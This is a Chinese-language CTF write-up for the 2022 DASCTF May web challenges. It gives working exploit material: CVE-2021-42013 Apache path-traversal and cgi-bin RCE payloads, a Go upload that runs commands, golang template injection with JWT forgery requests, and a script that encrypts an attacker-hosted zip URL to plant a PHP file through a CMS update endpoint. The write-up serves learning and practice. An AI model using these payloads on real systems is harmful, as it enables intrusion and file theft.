2022DASCTF MAY 出题人挑战赛WP

2022DASCTF MAY 出题人挑战赛WP

image-20220528145012854

比赛已经结束一周了,上周末因为考试所以没并没有参加比赛,今天就做个复现吧(感觉这次的Web题的新人友好度可以说直接拉满了。。。)

Power Cookie

直接白给,设个Cookie就行

image-20220528104316499

image-20220528104320349

魔法浏览器

根据提示跑一下script脚本即可获得需要修改的User-Agent

image-20220528104737777

抓包查看

image-20220528104900126

控制台运行得到User-Agent

image-20220528104923079

修改User-Agent得到flag

image-20220528105019790

所以,,,,,,flag.txt就是虚晃一枪是吧

getme

一开始有点一头雾水,看了快十多分钟不知道问题在哪里,然后用nikto扫了一下探测到有个Apache的说明文件/icons/README, 就去搜了一下Apache/2.4.50 (Unix)的漏洞,找到了CVE-2021-42013 Apache HTTPd 2.4.49 2.4.50 路径穿越以及RCE漏洞

直接复制文章的payload即可任意读取文件和执行命令:

读取文件:
/icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
RCE:
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
post传输数据:
echo;command

说一点

/flag的内容是flag{this_is_fake_flag},真正的flag通过find根目录的/diajgk得到

image-20220528113203507

不过官方WP并没有使用RCE,直接通过获取站点日志文件/icons/.%%32%65/logs/access_log发现一个请求就是读取这个flag文件的记录,找了一下确实有:

image-20220528114051026

hackme

image-20220528114746715

开局不知道是什么,就到处点

image-20220528114837063

在users接口看到说要users.go文件,就传了个执行命令的go文件上去:

package main
import (
    "fmt"
    "os/exec"
)
func exp() {
    out, err := exec.Command("ls","/").Output()
    if err != nil {
        fmt.Printf("%s", err)
    }
    output := string(out[:])
    fmt.Println(output)
}
func main(){
    exp()
}

发现上传的文件会有对应入口:

image-20220528120749079

但是访问2.go入口返回错误信息:

image-20220528120835155

看样子应该是会将alias参数作文件名后加.go执行对应的go文件,修改文件名去掉2.go的go后缀之后出现2入口,但是进入2还是会显示错误信息

image-20220528121338747

这时候想到前面的users接口

image-20220528121411898

上传个users.go文件看看,访问前面的users入口,发现命令执行成功

将命令改为exec.Command("cat","/flag").Output()即可获得flag

image-20220528121634024

大坑:

比较离谱的是,我当时先传了2.go之后并没有尝试传2而是直接传了users.go然后执行命令就获得了flag

但是后面我上传了2之后访问/shortcuts?alias=2也执行了命令,但是只成功了一次,后面就不行了,甚至重新上传users.go并没有给我像之前一样执行命令输出执行结果......但是go的不太懂,只能说环境有点坑,如果有师傅复现出问题了的话重启容器试试吧只能说

fxxkgo

题目直接给了go源码,看了源码之后我就说怎么感觉有点熟悉,仔细一看发现.....这题和[LineCTF2022]gotm不能说像,只能说就是同一道题目....

细节可以看一下我之前复现[LineCTF2022]gotm的文章或者找一下网上的师傅们的文章即可,关注点就一个golang的SSTI标签渲染{.}

获取flag的过程直接给payload:

POST /register HTTP/1.1
Host: 2a7a5039-248e-4069-a50b-b2d47a55c8d3.node4.buuoj.cn:81
Content-Type: multipart/form-data; boundary=---------------------------17369295101836521604107222808
Content-Length: 284

-----------------------------17369295101836521604107222808
Content-Disposition: form-data; name="id"

{{.}}
-----------------------------17369295101836521604107222808
Content-Disposition: form-data; name="pw"

123
-----------------------------17369295101836521604107222808--

注册成功后到/auth获取token

POST /auth HTTP/1.1
Host: 2a7a5039-248e-4069-a50b-b2d47a55c8d3.node4.buuoj.cn:81
Content-Type: multipart/form-data; boundary=---------------------------17369295101836521604107222808
Content-Length: 284

-----------------------------17369295101836521604107222808
Content-Disposition: form-data; name="id"

{{.}}
-----------------------------17369295101836521604107222808
Content-Disposition: form-data; name="pw"

123
-----------------------------17369295101836521604107222808--

获取token之后访问/设置X-Token获取token加密的key

POST / HTTP/1.1
Host: 2a7a5039-248e-4069-a50b-b2d47a55c8d3.node4.buuoj.cn:81
Content-Type: multipart/form-data; boundary=---------------------------17369295101836521604107222808
X-Token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOnRydWV9.Lebcn5sry2QGKTbfbZ3pFhUvV9PNAvz0bj55K7IOaQg
Content-Length: 280

-----------------------------17369295101836521604107222808
Content-Disposition: form-data; name="id"

asd
-----------------------------17369295101836521604107222808
Content-Disposition: form-data; name="pw"

a
-----------------------------17369295101836521604107222808--

image-20220528124932025

获得key之后到http://jwt.io使用key加密获得admin为true的token

image-20220528125232229

拿这个token到/flag获取flag

POST /flag HTTP/1.1
Host: 2a7a5039-248e-4069-a50b-b2d47a55c8d3.node4.buuoj.cn:81
Content-Type: multipart/form-data; boundary=---------------------------17369295101836521604107222808
X-Token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOnRydWV9.Lebcn5sry2QGKTbfbZ3pFhUvV9PNAvz0bj55K7IOaQg
Content-Length: 280

-----------------------------17369295101836521604107222808
Content-Disposition: form-data; name="id"

asd
-----------------------------17369295101836521604107222808
Content-Disposition: form-data; name="pw"

a
-----------------------------17369295101836521604107222808--

image-20220528125556216

ezcms

image-20220528130041808

一个漫画小说的CMS框架

漫城CMS,直接在网上搜公开漏洞没找到,就直接用Seay扫了,起初重点关注的是caiji.phpUpload.php以及update.php这三个文件

但是Upload到后面才发现并没有命令执行的漏洞点(当时下了看错了...)

然后又在网站更新的Update.php接口发现这里可以直接下载zip压缩包并解压到根目录下,只需要找到URL的加密方式后通过直接使用原有的函数\sys_auth对zip文件的URL地址进行加密即可通过Update.php接口下载zip文件并自动解压zip当网站根目录下

admin控制器的Update:\Update::index

image-20220528144506417

image-20220528143609033

将1.php压缩到1.zip中

image-20220528143433045

<?php

function sys_auth($string, $type = 0, $key = '', $expiry = 0) {
    if(is_array($string)) $string = json_encode($string);
    if($type == 1) $string = str_replace('-','+',$string);
    $ckey_length = 4;
    $key = md5($key ? $key : Mc_Encryption_Key);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($type == 1 ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
    $string = $type == 1 ? base64_decode(substr($string, $ckey_length)) :  sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
    $result = '';
    $box = range(0, 255);
    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    } 
    if($type == 1) {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            $result = substr($result, 26);
            $json = json_decode($result,1);
            if(!is_numeric($result) && $json){
                return $json;
            }else{
                return $result;
            }
        }
        return '';
    }
    return str_replace('+', '-', $keyc.str_replace('=', '', base64_encode($result)));
}

define('Mc_Encryption_Key','GKwHuLj9AOhaxJ2');
$strings = 'http://vps:port/1.zip';
echo(sys_auth($strings));

image-20220528143905727

image-20220528144009668

image-20220528144044013

收工收工,得亏seay扫出来的结果里面Update.php在比较前面,要不几百个报告点能找成麻瓜。。。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇